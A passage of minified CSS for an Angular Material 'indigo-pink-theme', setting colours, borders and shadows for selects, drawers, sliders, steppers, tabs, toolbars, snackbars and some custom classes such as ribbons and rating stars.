.mat-select-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.indigo-pink-theme .mat-select-panel .mat-option.mat-selected:not(.mat-option-multiple){background:rgba(0,0,0,.12)}.indigo-pink-theme .mat-form-field.mat-focused.mat-primary .mat-select-arrow{color:#3f51b5}.indigo-pink-theme .mat-form-field.mat-focused.mat-accent .mat-select-arrow{color:#ff4081}.indigo-pink-theme .mat-form-field.mat-focused.mat-warn .mat-select-arrow,.indigo-pink-theme .mat-form-field .mat-select.mat-select-invalid .mat-select-arrow{color:#f44336}.indigo-pink-theme .mat-form-field .mat-select.mat-select-disabled .mat-select-arrow{color:#00000061}.indigo-pink-theme .mat-drawer-container{background-color:#fafafa;color:#000000de}.indigo-pink-theme .mat-drawer{background-color:#fff;color:#000000de}.indigo-pink-theme .mat-drawer.mat-drawer-push{background-color:#fff}.indigo-pink-theme .mat-drawer:not(.mat-drawer-side){box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f}.indigo-pink-theme .mat-drawer-side{border-right:solid 1px rgba(0,0,0,.12)}.indigo-pink-theme .mat-drawer-side.mat-drawer-end,.indigo-pink-theme [dir=rtl] .mat-drawer-side{border-left:solid 1px rgba(0,0,0,.12);border-right:none}.indigo-pink-theme [dir=rtl] .mat-drawer-side.mat-drawer-end{border-left:none;border-right:solid 1px rgba(0,0,0,.12)}.indigo-pink-theme .mat-drawer-backdrop.mat-drawer-shown{background-color:#0009}.indigo-pink-theme .mat-slide-toggle.mat-checked .mat-slide-toggle-thumb{background-color:#ff4081}.indigo-pink-theme .mat-slide-toggle.mat-checked .mat-slide-toggle-bar{background-color:#ff40818a}.indigo-pink-theme .mat-slide-toggle.mat-checked .mat-ripple-element{background-color:#ff4081}.indigo-pink-theme .mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-thumb{background-color:#3f51b5}.indigo-pink-theme .mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-bar{background-color:#3f51b58a}.indigo-pink-theme .mat-slide-toggle.mat-primary.mat-checked .mat-ripple-element{background-color:#3f51b5}.indigo-pink-theme .mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-thumb{background-color:#f44336}.indigo-pink-theme .mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-bar{background-color:#f443368a}.indigo-pink-theme .mat-slide-toggle.mat-warn.mat-checked .mat-ripple-element{background-color:#f44336}.indigo-pink-theme .mat-slide-toggle:not(.mat-checked) .mat-ripple-element{background-color:#000}.indigo-pink-theme .mat-slide-toggle-thumb{box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f;background-color:#fafafa}.indigo-pink-theme .mat-slide-toggle-bar{background-color:#00000061}.indigo-pink-theme .mat-slider-track-background{background-color:#00000042}.indigo-pink-theme .mat-slider.mat-primary .mat-slider-track-fill,.indigo-pink-theme .mat-slider.mat-primary .mat-slider-thumb,.indigo-pink-theme .mat-slider.mat-primary .mat-slider-thumb-label{background-color:#3f51b5}.indigo-pink-theme .mat-slider.mat-primary .mat-slider-thumb-label-text{color:#fff}.indigo-pink-theme .mat-slider.mat-primary .mat-slider-focus-ring{background-color:#3f51b533}.indigo-pink-theme .mat-slider.mat-accent .mat-slider-track-fill,.indigo-pink-theme .mat-slider.mat-accent .mat-slider-thumb,.indigo-pink-theme .mat-slider.mat-accent .mat-slider-thumb-label{background-color:#ff4081}.indigo-pink-theme .mat-slider.mat-accent .mat-slider-thumb-label-text{color:#fff}.indigo-pink-theme .mat-slider.mat-accent .mat-slider-focus-ring{background-color:#ff408133}.indigo-pink-theme .mat-slider.mat-warn .mat-slider-track-fill,.indigo-pink-theme .mat-slider.mat-warn .mat-slider-thumb,.indigo-pink-theme .mat-slider.mat-warn .mat-slider-thumb-label{background-color:#f44336}.indigo-pink-theme .mat-slider.mat-warn .mat-slider-thumb-label-text{color:#fff}.indigo-pink-theme .mat-slider.mat-warn .mat-slider-focus-ring{background-color:#f4433633}.indigo-pink-theme .mat-slider:hover .mat-slider-track-background,.indigo-pink-theme .mat-slider.cdk-focused .mat-slider-track-background{background-color:#00000061}.indigo-pink-theme .mat-slider.mat-slider-disabled .mat-slider-track-background,.indigo-pink-theme .mat-slider.mat-slider-disabled .mat-slider-track-fill,.indigo-pink-theme .mat-slider.mat-slider-disabled .mat-slider-thumb,.indigo-pink-theme .mat-slider.mat-slider-disabled:hover .mat-slider-track-background{background-color:#00000042}.indigo-pink-theme .mat-slider.mat-slider-min-value .mat-slider-focus-ring{background-color:#0000001f}.indigo-pink-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb,.indigo-pink-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb-label{background-color:#000000de}.indigo-pink-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb,.indigo-pink-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb-label{background-color:#00000042}.indigo-pink-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing) .mat-slider-thumb{border-color:#00000042;background-color:transparent}.indigo-pink-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover .mat-slider-thumb,.indigo-pink-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused .mat-slider-thumb{border-color:#00000061}.indigo-pink-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover.mat-slider-disabled .mat-slider-thumb,.indigo-pink-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused.mat-slider-disabled .mat-slider-thumb{border-color:#00000042}.indigo-pink-theme .mat-slider-has-ticks .mat-slider-wrapper:after{border-color:#000000b3}.indigo-pink-theme .mat-slider-horizontal .mat-slider-ticks{background-image:repeating-linear-gradient(to right,rgba(0,0,0,.7),rgba(0,0,0,.7) 2px,transparent 0,transparent);background-image:-moz-repeating-linear-gradient(.0001deg,rgba(0,0,0,.7),rgba(0,0,0,.7) 2px,transparent 0,transparent)}.indigo-pink-theme .mat-slider-vertical .mat-slider-ticks{background-image:repeating-linear-gradient(to bottom,rgba(0,0,0,.7),rgba(0,0,0,.7) 2px,transparent 0,transparent)}.indigo-pink-theme .mat-step-header.cdk-keyboard-focused,.indigo-pink-theme .mat-step-header.cdk-program-focused,.indigo-pink-theme .mat-step-header:hover:not([aria-disabled]),.indigo-pink-theme .mat-step-header:hover[aria-disabled=false]{background-color:#0000000a}.indigo-pink-theme .mat-step-header:hover[aria-disabled=true]{cursor:default}@media (hover: none){.indigo-pink-theme .mat-step-header:hover{background:none}}.indigo-pink-theme .mat-step-header .mat-step-label,.indigo-pink-theme .mat-step-header .mat-step-optional{color:#0000008a}.indigo-pink-theme .mat-step-header .mat-step-icon{background-color:#0000008a;color:#fff}.indigo-pink-theme .mat-step-header .mat-step-icon-selected,.indigo-pink-theme .mat-step-header .mat-step-icon-state-done,.indigo-pink-theme .mat-step-header .mat-step-icon-state-edit{background-color:#3f51b5;color:#fff}.indigo-pink-theme .mat-step-header.mat-accent .mat-step-icon{color:#fff}.indigo-pink-theme .mat-step-header.mat-accent .mat-step-icon-selected,.indigo-pink-theme .mat-step-header.mat-accent .mat-step-icon-state-done,.indigo-pink-theme .mat-step-header.mat-accent .mat-step-icon-state-edit{background-color:#ff4081;color:#fff}.indigo-pink-theme .mat-step-header.mat-warn .mat-step-icon{color:#fff}.indigo-pink-theme .mat-step-header.mat-warn .mat-step-icon-selected,.indigo-pink-theme .mat-step-header.mat-warn .mat-step-icon-state-done,.indigo-pink-theme .mat-step-header.mat-warn .mat-step-icon-state-edit{background-color:#f44336;color:#fff}.indigo-pink-theme .mat-step-header .mat-step-icon-state-error{background-color:transparent;color:#f44336}.indigo-pink-theme .mat-step-header .mat-step-label.mat-step-label-active{color:#000000de}.indigo-pink-theme .mat-step-header .mat-step-label.mat-step-label-error{color:#f44336}.indigo-pink-theme .mat-stepper-horizontal,.indigo-pink-theme .mat-stepper-vertical{background-color:#fff}.indigo-pink-theme .mat-stepper-vertical-line:before{border-left-color:#0000001f}.indigo-pink-theme .mat-horizontal-stepper-header:before,.indigo-pink-theme .mat-horizontal-stepper-header:after,.indigo-pink-theme .mat-stepper-horizontal-line{border-top-color:#0000001f}.indigo-pink-theme .mat-sort-header-arrow{color:#757575}.indigo-pink-theme .mat-tab-nav-bar,.indigo-pink-theme .mat-tab-header{border-bottom:1px solid rgba(0,0,0,.12)}.indigo-pink-theme .mat-tab-group-inverted-header .mat-tab-nav-bar,.indigo-pink-theme .mat-tab-group-inverted-header .mat-tab-header{border-top:1px solid rgba(0,0,0,.12);border-bottom:none}.indigo-pink-theme .mat-tab-label,.indigo-pink-theme .mat-tab-link{color:#000000de}.indigo-pink-theme .mat-tab-label.mat-tab-disabled,.indigo-pink-theme .mat-tab-link.mat-tab-disabled{color:#00000061}.indigo-pink-theme .mat-tab-header-pagination-chevron{border-color:#000000de}.indigo-pink-theme .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#00000061}.indigo-pink-theme .mat-tab-group[class*=mat-background-]>.mat-tab-header,.indigo-pink-theme .mat-tab-nav-bar[class*=mat-background-]{border-bottom:none;border-top:none}.indigo-pink-theme .mat-tab-group.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#c5cae94d}.indigo-pink-theme .mat-tab-group.mat-primary .mat-ink-bar,.indigo-pink-theme .mat-tab-nav-bar.mat-primary .mat-ink-bar{background-color:#3f51b5}.indigo-pink-theme .mat-tab-group.mat-primary.mat-background-primary>.mat-tab-header .mat-ink-bar,.indigo-pink-theme .mat-tab-group.mat-primary.mat-background-primary>.mat-tab-link-container .mat-ink-bar,.indigo-pink-theme .mat-tab-nav-bar.mat-primary.mat-background-primary>.mat-tab-header .mat-ink-bar,.indigo-pink-theme .mat-tab-nav-bar.mat-primary.mat-background-primary>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.indigo-pink-theme .mat-tab-group.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ff80ab4d}.indigo-pink-theme .mat-tab-group.mat-accent .mat-ink-bar,.indigo-pink-theme .mat-tab-nav-bar.mat-accent .mat-ink-bar{background-color:#ff4081}.indigo-pink-theme .mat-tab-group.mat-accent.mat-background-accent>.mat-tab-header .mat-ink-bar,.indigo-pink-theme .mat-tab-group.mat-accent.mat-background-accent>.mat-tab-link-container .mat-ink-bar,.indigo-pink-theme .mat-tab-nav-bar.mat-accent.mat-background-accent>.mat-tab-header .mat-ink-bar,.indigo-pink-theme .mat-tab-nav-bar.mat-accent.mat-background-accent>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.indigo-pink-theme .mat-tab-group.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffcdd24d}.indigo-pink-theme .mat-tab-group.mat-warn .mat-ink-bar,.indigo-pink-theme .mat-tab-nav-bar.mat-warn .mat-ink-bar{background-color:#f44336}.indigo-pink-theme .mat-tab-group.mat-warn.mat-background-warn>.mat-tab-header .mat-ink-bar,.indigo-pink-theme .mat-tab-group.mat-warn.mat-background-warn>.mat-tab-link-container .mat-ink-bar,.indigo-pink-theme .mat-tab-nav-bar.mat-warn.mat-background-warn>.mat-tab-header .mat-ink-bar,.indigo-pink-theme .mat-tab-nav-bar.mat-warn.mat-background-warn>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.indigo-pink-theme .mat-tab-group.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#c5cae94d}.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-header,.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container,.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination{background-color:#3f51b5}.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-label,.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-tab-link,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-label,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-tab-link{color:#fff}.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-label.mat-tab-disabled,.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-label.mat-tab-disabled,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-focus-indicator:before,.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-focus-indicator:before,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-focus-indicator:before,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-ripple-element,.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-ripple-element,.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination .mat-ripple-element,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-ripple-element,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-ripple-element,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.indigo-pink-theme .mat-tab-group.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ff80ab4d}.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-header,.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container,.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination{background-color:#ff4081}.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-label,.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-tab-link,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-label,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-tab-link{color:#fff}.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-label.mat-tab-disabled,.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-label.mat-tab-disabled,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-focus-indicator:before,.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-focus-indicator:before,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-focus-indicator:before,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-ripple-element,.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-ripple-element,.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination .mat-ripple-element,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-ripple-element,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-ripple-element,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.indigo-pink-theme .mat-tab-group.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-background-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffcdd24d}.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-header,.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container,.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination{background-color:#f44336}.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-label,.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-tab-link,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-label,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-tab-link{color:#fff}.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-label.mat-tab-disabled,.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-label.mat-tab-disabled,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-focus-indicator:before,.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-focus-indicator:before,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-focus-indicator:before,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-ripple-element,.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-ripple-element,.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination .mat-ripple-element,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-ripple-element,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-ripple-element,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.indigo-pink-theme .mat-toolbar{background:whitesmoke;color:#000000de}.indigo-pink-theme .mat-toolbar.mat-primary{background:#3f51b5;color:#fff}.indigo-pink-theme .mat-toolbar.mat-accent{background:#ff4081;color:#fff}.indigo-pink-theme .mat-toolbar.mat-warn{background:#f44336;color:#fff}.indigo-pink-theme .mat-toolbar .mat-form-field-underline,.indigo-pink-theme .mat-toolbar .mat-form-field-ripple,.indigo-pink-theme .mat-toolbar .mat-focused .mat-form-field-ripple{background-color:currentColor}.indigo-pink-theme .mat-toolbar .mat-form-field-label,.indigo-pink-theme .mat-toolbar .mat-focused .mat-form-field-label,.indigo-pink-theme .mat-toolbar .mat-select-value,.indigo-pink-theme .mat-toolbar .mat-select-arrow,.indigo-pink-theme .mat-toolbar .mat-form-field.mat-focused .mat-select-arrow{color:inherit}.indigo-pink-theme .mat-toolbar .mat-input-element{caret-color:currentColor}.indigo-pink-theme .mat-tooltip{background:rgba(97,97,97,.9)}.indigo-pink-theme .mat-tree{background:white}.indigo-pink-theme .mat-tree-node,.indigo-pink-theme .mat-nested-tree-node{color:#000000de}.indigo-pink-theme .mat-snack-bar-container{color:#ffffffb3;background:#323232;box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.indigo-pink-theme .mat-simple-snackbar-action{color:#ff4081}.indigo-pink-theme a:link,.indigo-pink-theme a:visited{color:#ff80ab;text-decoration:none}.indigo-pink-theme a:hover,.indigo-pink-theme a:focus,.indigo-pink-theme a:active{text-decoration:underline}.indigo-pink-theme a{outline:none}.indigo-pink-theme .confirmation{color:#ff4081}.indigo-pink-theme .ribbon:before{border:5px solid #ff4081}.indigo-pink-theme .ribbon span{background-color:#ff4081}.indigo-pink-theme .error{color:#f44336}.indigo-pink-theme .ribbon-sold:before{border:5px solid #f44336}.indigo-pink-theme .ribbon-sold span{background-color:#f44336}.indigo-pink-theme .primary-notification{background-color:#303f9f}.indigo-pink-theme .accent-notification{background-color:#f50057}.indigo-pink-theme .warn-notification{background-color:#d32f2f}.indigo-pink-theme .img-thumbnail{background-color:#3f51b50d;border:1px solid #3f51b5;border-radius:3px;padding:3px}.indigo-pink-theme .empty-star{stop-color:#3f51b5}.indigo-pink-theme .filled-star{stop-color:#ff4081}.indigo-pink-theme .star-border{stroke:#ff4081}.indigo-pink-theme .mat-snack-bar-container{background-color:#fff!important;color:#000000de!important}.indigo-pink-theme .mat-snack-bar-container.errorBar{color:#f44336!important}.indigo-pink-theme .mat-snack-bar-container.confirmBar{color:#ff4081!important}.indigo-pink-theme 